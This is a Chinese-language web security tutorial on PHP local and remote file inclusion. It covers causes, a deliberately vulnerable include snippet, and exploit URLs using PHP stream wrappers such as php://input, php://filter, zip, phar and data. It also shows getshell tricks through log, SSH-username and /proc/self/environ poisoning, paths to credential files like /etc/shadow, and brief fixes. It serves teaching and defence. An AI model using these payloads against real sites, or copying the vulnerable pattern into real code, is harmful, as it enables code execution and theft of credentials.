zl程序教程

您现在的位置是:首页 >  其他

当前栏目

【Web漏洞探索】文件包含漏洞

漏洞文件Web 探索 包含
2023-09-11 14:17:08 时间

【Web漏洞探索】文件包含漏洞

请添加图片描述

一、什么是文件包含漏洞

文件包含(File Inclusion)是一些对文件操作的函数未经过有效过滤,运行了恶意传入的非预期的文件路径,导致敏感信息泄露或代码执行。如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会被解析执行,这就导致了文件包含漏洞的产生。

随着网站的业务的需求,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

二、文件包含漏洞成因

后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。

实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。

大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例,需要打开一下配置allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据。allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件。

PHP中提供了四个文件包含的函数:

include()当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告(E_WARNING),继续向下执行
include_once()功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()与include()的区别在于require()执行如果发生错误(E_COMPILE_ERROR),函数会输出错误信息,并终止脚本的运行。
require_once()功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

nighcight_file()、show_source()函数对文件进行语法高亮显示,通常能看到源代码。
readfile()、file_get_contents()函数读取一个文件,并写入输出缓冲。
fopen()函数打开一个文件或者url。

JSP/Servlet:ava.io.File()、Java.io.FileReader()、<jsp:include page=“”/>和<%@include file=“”%>
ASP:include file、include virtual

三、有哪些文件包含类型

文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种。攻击者通过文件包含漏洞可以读取系统中的敏感文件,还有可能导致任意代码执行漏洞。

本地文件包含

本地文件包含漏洞指的是能打开并包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI,简单的测试用例如下所示。

<?php
    $filename = $_GET['filename'];
    if(isset($filename)){
        include("$filename");
    }else{
        echo "file not found!";
    }
?>

远程文件包含

远程文件包含漏洞是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

该类型需要当目标服务器开启一定配置时才可以使用,当php.ini中的配置选项allow_url_fopen=on、allow_url_include=on

四、漏洞攻击利用手法

请添加图片描述

1. php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

前提:需要开启allow_url_include=on,对allow_url_fopen不做要求。

EXP:

http://127.0.0.1/index.php?file=php://input

POST Data:
<?php phpinfo();?>

2. php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码让其不执行。从而导致任意文件读取。

前提:只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求。

EXP:

http://127.0.0.1/index.php?file=php://filter/resource=xxx.php
http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
http://127.0.0.1/index.php?file=php://filter/convert.base64-encode/resource=xxx.php

3. zip://伪协议

zip://可以访问压缩文件中的文件

前提:使用zip协议,需要使用绝对路径,并且要将#编码为%23,所以需要PHP的版本>=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23

EXP:

http://127.0.0.1/index.php?file=zip://test.zip#shell.php

4. phar://伪协议

zip://协议类似但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开。

前提:PHP的版本>=5.3.0

EXP:

http://127.0.0.1/index.php?file=phar://test.phar/shell.php

5.data:text/plain

和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同

前提:PHP的版本>=5.2,并且allow_url_fopen参数与allow_url_include都需开启

EXP:

http://127.0.0.1/index.php?file=data:text/plain,<?php 执行内容 ?>
http://127.0.0.1/index.php?file=data://,<?php phpinfo();
http://127.0.0.1/index.php?file=data://text//plain,<?php phpinfo();
http://127.0.0.1/index.php?file=data://text/plain;base64,xxxxxxxxx

6. file://伪协议

file://用于访问本地文件系统,且不受allow_url_fopenallow_url_include的影响。

前提:包含的文件要文件的绝对路径

EXP:

http://127.0.0.1/index.php?file=file://文件绝对路径

五、修复以及预防

1、访问路径限制

PHP中使用open_basedir配置限制访问在指定的区域,限制被包含的文件只能是某一文件夹内。

2、过滤输入

过滤.(点)/(反斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../

3、关闭高危配置

PHP文件配置allow_url_includeallow_url_fopen最小权限化。

4、白名单
对需要包含的文件设置文件白名单,包含文件的验证。

5、避免参数

尽量不要使用动态包含,可以在需要包含的页面固定写好。

六、常见系统文件路径

c:\boot.ini //查看系统版本
c:\windows\repair\sam //存储Windows系统初次安装的密码
c:\windows\win.ini
/etc/passwd //账户信息
/etc/shadow //账户密码文件

七、妙用技巧

LFI+日志文件getshell

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

配合文件上传漏洞

一般情况下,文件包含漏洞配合文件上传漏洞使用更佳。利用文件上传漏洞,将木马文件上传到相关目录下,再通过文件包含漏洞执行该木马。

配合路径遍历漏洞

一般情况下,通过路径遍历直接包含所要查看的文件。

配合session文件

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

配合SSH日志

使用ssh -pssh端口 '<?php phpinfo(); ?>'@ip地址将恶意代码注入日志中,然后可包含该日志文件。
请添加图片描述

默认情况下为/var/log/auth.log

配合运行环境

php以cgi方式运行,这样environ才会保持UA头。environ文件存储位置已知且environ文件可读,/proc/self/environ

GET /index.php?file=../../../../proc/self/environ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 <?phpinfo();?> 
Connection: close

八、附录

参考链接:
https://xz.aliyun.com/t/7176
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E
https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning